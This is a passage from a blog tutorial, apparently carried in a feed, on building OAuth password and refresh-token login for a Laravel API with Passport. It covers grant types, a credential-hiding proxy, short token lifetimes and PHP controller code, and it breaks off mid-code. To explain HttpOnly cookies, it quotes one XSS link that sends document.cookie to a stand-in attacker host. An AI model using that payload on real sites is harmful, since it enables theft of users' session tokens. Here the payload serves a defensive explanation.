Esben Petersen Young entrepreneur and business student. Writing B2B SaaS at Traede.com http://esbenp.github.io/ Tue, 05 Sep 2017 06:28:40 +0200 Tue, 05 Sep 2017 06:28:40 +0200 Jekyll v3.5.2 A modern REST API in Laravel 5 Part 4: Authentication using Laravel Passport <h2 id="tldr">tl;dr</h2> <ul> <li>Laravel Passport is an implementation of The PHP League's OAuth Server</li> <li>The password grant type can be used for username + password authentication</li> <li>Remember to hide your client credentials by making the auth request in a proxy</li> <li>Save the refresh token in a HttpOnly cookie to minimize the risk of XSS attacks</li> </ul> <h2 id="introduction">Introduction</h2> <p> OAuth is all around us. Most of us have tried to login to a 3rd party service using our Facebook or Google account as a login. This login mechanism is one of many OAuth authentication types. However, you can also use OAuth to generate simple API keys. One of the OAuth authentication types generates API keys based on username and password and is therefore a solid authentication choice for SaaS-style apps. This article will explore how to setup the password grant authentication type in Laravel using Laravel Passport. </p> <h2 id="agenda">Agenda</h2> <p> During this article we will explore topics such as... </p> <ol> <li>Learn how authenticating an API with OAuth 2 works</li> <li>How we can implement user-based authentication using Laravel Passport</li> <li>How we can scope API requests to the current user</li> </ol> <h2 id="oauth-2-authentication-for-dummies">OAuth 2 authentication for dummies</h2> <p> There are a lot of good in-depth resources on OAuth and it's many use cases. For instance <a target="_blank" href="https://tools.ietf.org/html/rfc6749">the official spec</a>. If you have the time and the motivation go read it. A little bit too technical/time consuming for you? You have come to the right place. </p> <h3 id="the-2-minute-introduction-to-oauth-grants">The 2-minute introduction to OAuth grants</h3> <p> OAuth let's you authenticate using different methods - these methods are called grants. This article will not focus on all of them. Here is a quick run-down of the grants. </p> <table class="table"> <thead> <tr> <th>Grant type</th> <th>Used for</th> </tr> </thead> <tbody> <tr> <td>Client Credentials</td> <td>When two machines need to talk to each other, e.g. two APIs</td> </tr> <tr> <td>Authorization Code</td> <td>This is the flow that occurs when you login to a service using Facebook, Google, GitHub etc.</td> </tr> <tr> <td>Implicit Grant</td> <td> Similar to Authorization Code, but user-based. <a target="_blank" href="https://oauth2.thephpleague.com/authorization-server/implicit-grant/">Has two distinct differences.</a> Outside the scope of this article. </td> </tr> <tr> <td><strong>Password Grant</strong></td> <td> When users login using username+password. The focus of this article. </td> </tr> <tr> <td><strong>Refresh Grant</strong></td> <td> Used to generate a new token when the old one expires. Also the focus of this article. </td> </tr> </tbody> </table> <p> I realize this is a simplification of the grants. If you want a more in-depth description I highly recommend either <a target="_blank" href="https://tools.ietf.org/html/rfc6749">the official spec</a> or the descriptions on <a target="_blank" href="https://oauth2.thephpleague.com/authorization-server/which-grant/">The PHP League's OAuth 2 package website</a>. </p> <p> If you came here for a description on how to implement Client Credential, Authorization Code or Implicit Grants I hate to disappoint you. <u>The focus point of this article is password grants and refresh grants</u>. That being said you might learn a trick or two, so please do stick around :-) </p> <h3 id="how-passwordrefresh-authentication-works">How password+refresh authentication works</h3> <p> This article will describe how to create a typical SPA (single page application) style login flow using the password and refresh grants. This might seem daunting at first but it is actually pretty simple once get to know the concepts. </p> <h4 id="step-1-user-enters-username--password">Step 1: User enters username + password</h4> <p><img src="/img/laravel-api-part-4/login.jpg" alt="Login screen for OAuth 2 password flow" class="img-responsive" /></p> <p> The first step of the password flow is that the user will enter username (or email) and password. The above image depicts how this looks at <a target="_blank" href="https://traede.com">Traede</a>. </p> <h4 id="step-2-api-will-ask-the-authentication-server-if-credentials-are-correct">Step 2. API will ask the authentication server if credentials are correct</h4> <p> The API sends the username and password to the OAuth server to check if the credentials are correct. Saying OAuth server sounds fancy but do not worry. This is probably just a library like <a target="_blank" href="https://laravel.com/docs/5.4/passport">Laravel Passport</a> or another implementation of <a target="_blank" href="https://oauth2.thephpleague.com/authorization-server/which-grant/">The PHP League's OAuth 2 package</a> installed on your API server using Composer. </p> <h4 id="step-3-authentication-will-return-an-access-token-and-a-refresh-token">Step 3. Authentication will return an access token and a refresh token</h4> <p> The authentication server will return an access token and a refresh token. You send this to the user and the user stores it in a cookie, session storage or similar. Every time the user clicks something that interacts with the API this token will be attached to the request using the <code>Authorization</code> header. The API will look for users with that token, and check that the token is still valid (e.g. not expired). Voila! The API now know which user is requesting. </p> <h4 id="step-4-request-a-new-token-using-the-fresh-token-when-the-access-token-expires">Step 4. Request a new token using the fresh token when the access token expires</h4> <p> Remember in step 3 that the authentication server sends both an access token and a refresh token? The access token is actually short lived, e.g. it is only valid for a short period of time. Usually they are only valid for something like 10 minutes. This is to increase security. When a token is only valid for 10 minutes it becomes difficult for a hacker to use it for anything useful if obtained. </p> <p> When the token expires the user needs to refresh the token. After all who wants to be logged out every 10 minutes? The user sends a request to the API to refresh the access token. The refresh token is saved, encrypted in a <code>HttpOnly</code> cookie (more on this later). The authentication server checks if the user's refresh token is valid. If so, a new access token (and sometimes refresh token) is sent to the user. When the new access token expires step 4 is run again. And then again. And again. And so forth... </p> <h3 id="one-last-thing-there-is-something-called-clients">One last thing: there is something called clients</h3> <p> For now, the last OAuth concept I will introduce is that of clients. </p> <p><img src="/img/api-desktop-smartphone-tablet-clients.png" alt="A REST api can serve multiple clients, like a smartphone-, tablet- or desktop client" class="img-responsive" /></p> <p> Imagine you have an API. And that API powers a desktop application that runs in a browser, a native smartphone application and a native tablet application. All of these different applications are called <i>clients</i>. </p> <p> In OAuth, when a user request an access token they request it for a <i>specific client</i>. That means a user can have a separate access token for each client (e.g. one for browser, one for smartphone, one for tablet). </p> <p> There is one <u>very important security aspect in regards to clients</u> that not that many OAuth articles focus on but we will here: the authentication proxy. </p> <h4 id="hide-the-client-credentials-in-a-proxy">Hide the client credentials in a proxy</h4> <p> For the OAuth server to know what client you are requesting a token for you have to send client credentials as well. Below is an example of how it would actually look in your API. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$accessTokenAndRefreshToken</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">oAuthServer</span><span class="o">-&gt;</span><span class="na">checkUserCredentials</span><span class="p">([</span> <span class="s1">'client_id'</span> <span class="o">=&gt;</span> <span class="s1">'browser_app'</span><span class="p">,</span> <span class="s1">'client_secret'</span> <span class="o">=&gt;</span> <span class="s1">'1234'</span><span class="p">,</span> <span class="s1">'username'</span> <span class="o">=&gt;</span> <span class="s1">'esben@esben.dk'</span><span class="p">,</span> <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="s1">'1234'</span> <span class="p">]);</span> </code></pre> </div> <p> Now you would be surprised if you knew how many people actually save the client credentials directly in their client application. For instance I have seen this in javascript apps. </p> <div class="language-javascript highlighter-rouge"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="s1">'#username'</span><span class="p">).</span><span class="nx">val</span><span class="p">()</span> <span class="kd">var</span> <span class="nx">password</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="s1">'#password'</span><span class="p">).</span><span class="nx">val</span><span class="p">()</span> <span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">'/login'</span><span class="p">,</span> <span class="p">{</span> <span class="na">client_id</span><span class="p">:</span> <span class="s1">'browser_app'</span><span class="p">,</span> <span class="na">client_secret</span><span class="p">:</span> <span class="s1">'1234'</span><span class="p">,</span> <span class="na">username</span><span class="p">:</span> <span class="nx">username</span><span class="p">,</span> <span class="na">password</span><span class="p">:</span> <span class="nx">password</span> <span class="p">})</span> </code></pre> </div> <p> This often occurs when the client directly requests authentication from the authentication server. The problem here is that the client credentials is stored in publicly available code (aka. the javascript code). Now anyone that browses your clients source can find your client credentials which is a security breach. </p> <div class="highlighter-rouge"><pre class="highlight"><code>The client logs in directly from authentication server ====================================================== User credentials Client credentials Client -----------------&gt; Auth server &lt;----------------- Access token Refresh token The client requests resources from the API ====================================================== Access token Client -----------------&gt; API &lt;----------------- Some resource </code></pre> </div> <p> So what do we do instead? We introduce a proxy! Luckily since we are developing an API the API itself can be used as a proxy. Confused? Allow me to demonstrate using the example above. </p> <div class="highlighter-rouge"><pre class="highlight"><code>The client logs in using the API which uses the auth server =========================================================== Client credentials User credentials User credentials Client ----------------&gt; API ------------------&gt; Auth server &lt;---------------- &lt;------------------ Access token Access token Refresh token Refresh token The client requests resources from the API ====================================================== Access token Client -----------------&gt; API &lt;----------------- Some resource </code></pre> </div> <p> Notice that now the client does not need to know about sensitive client credentials. </p> <h2 id="implementing-oauth-authorization-using-laravel-passport">Implementing OAuth authorization using Laravel Passport</h2> <p> Okay, so now have all the concepts in order. Now let us get to the code. We want to create a login screen for our SPA so the user can authenticate themselves. Let us just quickly recap the flow. </p> <ol> <li>We create a client in our OAuth server that represents our app</li> <li>The user enters username + password in the login screen and sends it to the API</li> <li>The API sends the username + password + client ID + client secret to the OAuth server</li> <li>The API saves the refresh token in a <code>HttpOnly</code> cookie</li> <li>The API sends the access token to the client</li> <li>The client saves the access token in storage, for instance a browser app saves it in localStorage</li> <li>The client requests something from the API attaching the access token to the request's <code>Authorization</code> header</li> <li>The API sends the access token to the OAuth server for validation</li> <li>The API sends the requested resource back to the client</li> <li>When the access token expires the client request the API for a new token</li> <li>The API sends the request token to the OAuth server for validation</li> <li>If valid, steps 4-6 repeats</li> </ol> <p> The reason why you should save the refresh token as a <code>HttpOnly</code> cookie is to prevent Cross-site scripting (XSS) attacks. The <code>HttpOnly</code> flag tells the browser that this cookie should not be accessible through javascript. If this flag was not set and your site let users post unfiltered HTML and javascript a malicious user could post something like this </p> <div class="highlighter-rouge"><pre class="highlight"><code>&lt;a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;"&gt;Click here!&lt;/a&gt; </code></pre> </div> <p class="note"> Malicious code is shamelessly stolen from <a target="_blank" href="https://en.wikipedia.org/wiki/HTTP_cookie#Cookie_theft_and_session_hijacking">Wikipedia: HTTP cookie</a> </p> <p> Now when users click the link the attacker will gain their refresh token. That means that now they can generate access tokens and impersonate your user. Ouch! </p> <p> Enough theory! Let us get on with the code. </p> <h3 id="dependencies-we-are-going-to-use">Dependencies we are going to use</h3> <p> Since we are making a Laravel API it makes sense to use Laravel Passport. Laravel's OAuth implementation. It is important to know that Laravel Passport is pretty much just an Laravel integration into <a target="_blank" href="https://oauth2.thephpleague.com/authorization-server/which-grant/">The PHP League's OAuth 2 package</a>. Therefore, to learn the concepts on a more granular level I refer to that package instead of Laravel Passport. </p> <p> PHP League's OAuth package issues <a target="_blank" href="https://tools.ietf.org/html/rfc7519">JSON Web Token's (JWT)</a>. This is simply a way to structure tokens that includes some relevant meta data. For instance the token could include meta data as to whether or not this user is an admin. </p> <h3 id="installation">Installation</h3> <p> For more detailed instructions you can always refer to <a target="_blank" href="https://laravel.com/docs/5.4/passport">Laravel Passport's documentation</a>. </p> <p> First install Passport using composer. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>composer require laravel/passport </code></pre> </div> <p> And add the service provider to <code>config/app.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nx">Laravel\Passport\PassportServiceProvider</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> </code></pre> </div> <p> And migrate the tables. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>php artisan migrate </code></pre> </div> <p> When the authorization server returns tokens these are actually encrypted on the server using a 1024-bit RSA keys. Both the private and the public key will live in your <code>storage/</code> out of sight. To generate the RSA keys run this command. The command will also create our password client. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>php artisan passport:install </code></pre> </div> <p> Remember to save your client secrets somewhere. I usually save them in my <code>.env</code> file. </p> <div class="highlighter-rouge"><pre class="highlight"><code>PERSONAL_CLIENT_ID=1 PERSONAL_CLIENT_SECRET=mR7k7ITv4f7DJqkwtfEOythkUAsy4GJ622hPkxe6 PASSWORD_CLIENT_ID=2 PASSWORD_CLIENT_SECRET=FJWQRS3PQj6atM6fz5f6AtDboo59toGplcuUYrKL </code></pre> </div> <p> The personal grant type is a special type of grant that issues tokens that do not expire. For instance when you issue access tokens from your GitHub account to be used in for instance Composer that is a personal grant access token. One that composer can use for perpetuity to request GitHub on your behalf. </p> <p> Please refer to <a target="_blank" href="https://laravel.com/docs/5.4/passport">Laravel Passport's documentation</a> for the following steps as they might change in the future. </p> <p> You will need to add the <code>Laravel\Passport\HasApiTokens</code> trait to your user model. If you use <a target="_blank" href="https://github.com/esbenp/larapi">my Laravel API fork</a> all these next things are already done for you. </p> <p> Next you need to run <code>Passport::routes();</code> somewhere, preferably in a your <code>AuthServiceProvider</code>. Finally in <code>config/auth.php</code> set the <code>driver</code> property of the <code>api</code> authentication guard to <code>passport</code>. If your user model is <u>NOT</u> <code>App\Users</code> then you need to change the config in <code>config/auth.php</code> under <code>providers.users.model</code>. </p> <p> If you have been following the article series or just use <a target="_blank" href="https://github.com/esbenp/larapi">Larapi</a> you should make sure the api guard is set in <code>config/optimus.components.php</code> under <code>protection_middleware</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'namespaces'</span> <span class="o">=&gt;</span> <span class="p">[</span> <span class="s1">'Api'</span> <span class="o">=&gt;</span> <span class="nx">base_path</span><span class="p">()</span> <span class="o">.</span> <span class="nx">DIRECTORY_SEPARATOR</span> <span class="o">.</span> <span class="s1">'api'</span><span class="p">,</span> <span class="s1">'Infrastructure'</span> <span class="o">=&gt;</span> <span class="nx">base_path</span><span class="p">()</span> <span class="o">.</span> <span class="nx">DIRECTORY_SEPARATOR</span> <span class="o">.</span> <span class="s1">'infrastructure'</span> <span class="p">],</span> <span class="s1">'protection_middleware'</span> <span class="o">=&gt;</span> <span class="p">[</span> <span class="s1">'auth:api'</span> <span class="c1">// &lt;--- Checks for access token and logging in the user </span> <span class="p">],</span> <span class="s1">'resource_namespace'</span> <span class="o">=&gt;</span> <span class="s1">'resources'</span><span class="p">,</span> <span class="s1">'language_folder_name'</span> <span class="o">=&gt;</span> <span class="s1">'lang'</span><span class="p">,</span> <span class="s1">'view_folder_name'</span> <span class="o">=&gt;</span> <span class="s1">'views'</span> <span class="p">];</span> </code></pre> </div> <p></p> <h4 id="configure-passport-to-issue-short-lived-tokens">Configure Passport to issue short-lived tokens</h4> <p> Now Passport is pretty much installed. However, there is one important step. Remember how access tokens should be short-lived? Passport by default issues long-lived tokens (no, I do not know why). So we need to configure that. In the place where you ran <code>Passport::routes();</code> (AuthServiceProvider or similar) put in the following configuration. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nx">Passport</span><span class="o">::</span><span class="na">routes</span><span class="p">(</span><span class="k">function</span> <span class="p">(</span><span class="nv">$router</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$router</span><span class="o">-&gt;</span><span class="na">forAccessTokens</span><span class="p">();</span> <span class="nv">$router</span><span class="o">-&gt;</span><span class="na">forPersonalAccessTokens</span><span class="p">();</span> <span class="nv">$router</span><span class="o">-&gt;</span><span class="na">forTransientTokens</span><span class="p">();</span> <span class="p">});</span> <span class="nx">Passport</span><span class="o">::</span><span class="na">tokensExpireIn</span><span class="p">(</span><span class="nx">Carbon</span><span class="o">::</span><span class="na">now</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">addMinutes</span><span class="p">(</span><span class="mi">10</span><span class="p">));</span> <span class="nx">Passport</span><span class="o">::</span><span class="na">refreshTokensExpireIn</span><span class="p">(</span><span class="nx">Carbon</span><span class="o">::</span><span class="na">now</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">addDays</span><span class="p">(</span><span class="mi">10</span><span class="p">));</span> </code></pre> </div> <p> Also notice we replaced <code>Passport::routes();</code> with a more granular configuration. This way we only create the routes that we need. <code>forAccessTokens();</code> enable us to create access tokens. <code>forPersonalAccessTokens();</code> enable us to create personal tokens although we will not use this in this article. Lastly, <code>forTransientTokens();</code> creates the route for refreshing tokens. </p> <p> This is my configuration. So an access token expires after 10 minutes and an refresh token expires after 10 days. However, in reality your user will probably not be logged out every 10 days since every refresh will generate a new refresh token as well (which again will have 10 days expiration). </p> <h4 id="what-did-we-install">What did we install?</h4> <p> If you run <code>php artisan route:list</code> you can see the new endpoints installed by Laravel Passport. I have extracted the ones we are going to focus on below. </p> <div class="highlighter-rouge"><pre class="highlight"><code>| POST | oauth/token | \Laravel\Passport\Http\Controllers\AccessTokenController@issueToken | POST | oauth/token/refresh | \Laravel\Passport\Http\Controllers\TransientTokenController@refresh </code></pre> </div> <p> These are the two routes that our proxy is going to request to generate access tokens. Notice, even though these two are publicly available they require the client ID and the client secret which is only known by our API. So it would be near impossible to request tokens outside of our flow. </p> <h3 id="creating-the-login-proxy">Creating the login proxy</h3> <p> Now let us install our own routes. This article will assume you have been following the previous articles and have a structure setup similar to <a target="_blank" href="https://github.com/esbenp/larapi">my Laravel API fork</a>. </p> <p> Start by creating three new routes: <code>POST /login</code>, <code>POST /login/refresh</code> and <code>POST /logout</code>. And then add a new controller to <code>Infrastructure\Auth\Controllers</code>. Put the login and refresh routes in a public routes file (your user needs to be able to login without a valid access token). Put the login route in a protected routes file. This will ensure that we can identify the user and revoke his tokens. </p> <p> Put the routes in <code>infrastructure/Auth/routes_public.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nv">$router</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'/login'</span><span class="p">,</span> <span class="s1">'LoginController@login'</span><span class="p">);</span> <span class="nv">$router</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'/login/refresh'</span><span class="p">,</span> <span class="s1">'LoginController@refresh'</span><span class="p">);</span> </code></pre> </div> <p> Put this route in <code>infrastructure/Auth/routes_protected.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nv">$router</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'/logout'</span><span class="p">,</span> <span class="s1">'LoginController@logout'</span><span class="p">);</span> </code></pre> </div> <p> Put the controller in <code>infrastructure/Auth/Controllers/LoginController.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Infrastructure\Auth\Controllers</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Http\Request</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Infrastructure\Auth\LoginProxy</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Infrastructure\Auth\Requests\LoginRequest</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Infrastructure\Http\Controller</span><span class="p">;</span> <span class="k">class</span> <span class="nc">LoginController</span> <span class="k">extends</span> <span class="nx">Controller</span> <span class="p">{</span> <span class="k">private</span> <span class="nv">$loginProxy</span><span class="p">;</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span><span class="nx">LoginProxy</span> <span class="nv">$loginProxy</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">loginProxy</span> <span class="o">=</span> <span class="nv">$loginProxy</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">login</span><span class="p">(</span><span class="nx">LoginRequest</span> <span class="nv">$request</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$email</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'email'</span><span class="p">);</span> <span class="nv">$password</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'password'</span><span class="p">);</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">response</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">loginProxy</span><span class="o">-&gt;</span><span class="na">attemptLogin</span><span class="p">(</span><span class="nv">$email</span><span class="p">,</span> <span class="nv">$password</span><span class="p">));</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">refresh</span><span class="p">(</span><span class="nx">Request</span> <span class="nv">$request</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">response</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">loginProxy</span><span class="o">-&gt;</span><span class="na">attemptRefresh</span><span class="p">());</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">logout</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">loginProxy</span><span class="o">-&gt;</span><span class="na">logout</span><span class="p">();</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">response</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="mi">204</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> I also made a <code>LoginRequest</code> class and put it in <code>infrastructure/Auth/Requests/LoginRequest.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Infrastructure\Auth\Requests</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Infrastructure\Http\ApiRequest</span><span class="p">;</span> <span class="k">class</span> <span class="nc">LoginRequest</span> <span class="k">extends</span> <span class="nx">ApiRequest</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">authorize</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">true</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">rules</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'email'</span> <span class="o">=&gt;</span> <span class="s1">'required|email'</span><span class="p">,</span> <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="s1">'required'</span> <span class="p">];</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Now we have the structure setup to create access tokens for our users. All of this should seem pretty familiar to you. So let us move right along to the proxy class. Put this code in <code>infrastructure/Auth/LoginProxy.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Infrastructure\Auth</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Foundation\Application</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Infrastructure\Auth\Exceptions\InvalidCredentialsException</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Api\Users\Repositories\UserRepository</span><span class="p">;</span> <span class="k">class</span> <span class="nc">LoginProxy</span> <span class="p">{</span> <span class="k">const</span> <span class="no">REFRESH_TOKEN</span> <span class="o">=</span> <span class="s1">'refreshToken'</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$apiConsumer</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$auth</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$cookie</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$db</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$request</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$userRepository</span><span class="p">;</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span><span class="nx">Application</span> <span class="nv">$app</span><span class="p">,</span> <span class="nx">UserRepository</span> <span class="nv">$userRepository</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userRepository</span> <span class="o">=</span> <span class="nv">$userRepository</span><span class="p">;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">apiConsumer</span> <span class="o">=</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'apiconsumer'</span><span class="p">);</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">auth</span> <span class="o">=</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'auth'</span><span class="p">);</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">cookie</span> <span class="o">=</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'cookie'</span><span class="p">);</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">db</span> <span class="o">=</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'db'</span><span class="p">);</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">request</span> <span class="o">=</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">make</span><span class="p">(</span><span class="s1">'request'</span><span class="p">);</span> <span class="p">}</span> <span class="sd">/** * Attempt to create an access token using user credentials * * @param string $email * @param string $password */</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">attemptLogin</span><span class="p">(</span><span class="nv">$email</span><span class="p">,</span> <span class="nv">$password</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userRepository</span><span class="o">-&gt;</span><span class="na">getWhere</span><span class="p">(</span><span class="s1">'email'</span><span class="p">,</span> <span class="nv">$email</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">first</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$user</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">proxy</span><span class="p">(</span><span class="s1">'password'</span><span class="p">,</span> <span class="p">[</span> <span class="s1">'username'</span> <span class="o">=&gt;</span> <span class="nv">$email</span><span class="p">,</span> <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="nv">$password</span> <span class="p">]);</span> <span class="p">}</span> <span class="k">throw</span> <span class="k">new</span> <span class="nx">InvalidCredentialsException</span><span class="p">();</span> <span class="p">}</span> <span class="sd">/** * Attempt to refresh the access token used a refresh token that * has been saved in a cookie */</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">attemptRefresh</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$refreshToken</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">request</span><span class="o">-&gt;</span><span class="na">cookie</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">REFRESH_TOKEN</span><span class="p">);</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">proxy</span><span class="p">(</span><span class="s1">'refresh_token'</span><span class="p">,</span> <span class="p">[</span> <span class="s1">'refresh_token'</span> <span class="o">=&gt;</span> <span class="nv">$refreshToken</span> <span class="p">]);</span> <span class="p">}</span> <span class="sd">/** * Proxy a request to the OAuth server. * * @param string $grantType what type of grant type should be proxied * @param array $data the data to send to the server */</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">proxy</span><span class="p">(</span><span class="nv">$grantType</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$data</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">{</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">array_merge</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="p">[</span> <span class="s1">'client_id'</span> <span class="o">=&gt;</span> <span class="nx">env</span><span class="p">(</span><span class="s1">'PASSWORD_CLIENT_ID'</span><span class="p">),</span> <span class="s1">'client_secret'</span> <span class="o">=&gt;</span> <span class="nx">env</span><span class="p">(</span><span class="s1">'PASSWORD_CLIENT_SECRET'</span><span class="p">),</span> <span class="s1">'grant_type'</span> <span class="o">=&gt;</span> <span class="nv">$grantType</span> <span class="p">]);</span> <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">apiConsumer</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'/oauth/token'</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">isSuccessful</span><span class="p">())</span> <span class="p">{</span> <span class="k">throw</span> <span class="k">new</span> <span class="nx">InvalidCredentialsException</span><span class="p">();</span> <span class="p">}</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getContent</span><span class="p">());</span> <span class="c1">// Create a refresh token cookie </span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">cookie</span><span class="o">-&gt;</span><span class="na">queue</span><span class="p">(</span> <span class="nx">self</span><span class="o">::</span><span class="na">REFRESH_TOKEN</span><span class="p">,</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">refresh_token</span><span class="p">,</span> <span class="mi">864000</span><span class="p">,</span> <span class="c1">// 10 days </span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span> <span class="c1">// HttpOnly </span> <span class="p">);</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'access_token'</span> <span class="o">=&gt;</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">access_token</span><span class="p">,</span> <span class="s1">'expires_in'</span> <span class="o">=&gt;</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">expires_in</span> <span class="p">];</span> <span class="p">}</span> <span class="sd">/** * Logs out the user. We revoke access token and refresh token. * Also instruct the client to forget the refresh cookie. */</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">logout</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$accessToken</span> <span class="o">=</span> <span 